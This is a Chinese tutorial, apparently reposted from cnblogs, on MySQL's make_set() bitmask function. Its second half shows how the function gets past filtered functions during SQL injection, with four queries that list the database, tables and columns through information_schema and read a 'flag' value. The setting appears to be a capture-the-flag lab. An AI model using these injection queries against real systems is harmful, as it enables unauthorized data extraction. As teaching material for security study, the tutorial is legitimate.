mysql—make_set函数

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了mysql—make_set函数，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含1468字，纯文字阅读大概需要3分钟。

内容图文

实验过程

1、bits将转为二进制,1的二进制为0000 0001,倒过来为1000 0000,所以取str1(a),打印a

select make_set("1","a","b","c");

 2、bits将转为二进制,2的二进制为0000 0010,倒过来为0100 0000,所以取str2(b),打印b

select make_set("2","a","b","c");

 3、bits将转为二进制,4的二进制为0000 0100,倒过来为0010 0000,所以取str3(c),打印c

select make_set("4","a","b","c");

3、bits将转为二进制,3的二进制为0000 0011,倒过来为1100 0000,所以取str1(a),str2(b),打印a,b

select make_set("3","a","b","c");

 以此类推

函数用处

在sql注入过程中，如果某些函数被禁用，可使用该函数进行绕过

举例如下

在test数据库下有test数据表，test数据表中存有flag，使用该函数进行查询

1、查询数据库名

select make_set("3","&",(select database()));

 2、查询数据表

select make_set("3","&",(select group_concat(table_name) from information_schema.tables where table_schema=‘test‘));

 3、查询字段名

select make_set("3","&",(select group_concat(column_name) from information_schema.columns where table_name=‘test‘));

 4、查询字段数据

select make_set("3","&",(select flag from test.test));

mysql—make_set函数

标签：进制   字符串   字段名   inf   字符串分隔   ati   null   class   结果   

本文系统来源：https://www.cnblogs.com/anweilx/p/12487747.html

内容总结

以上是互联网集市为您收集整理的mysql—make_set函数全部内容，希望文章能够帮你解决mysql—make_set函数所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端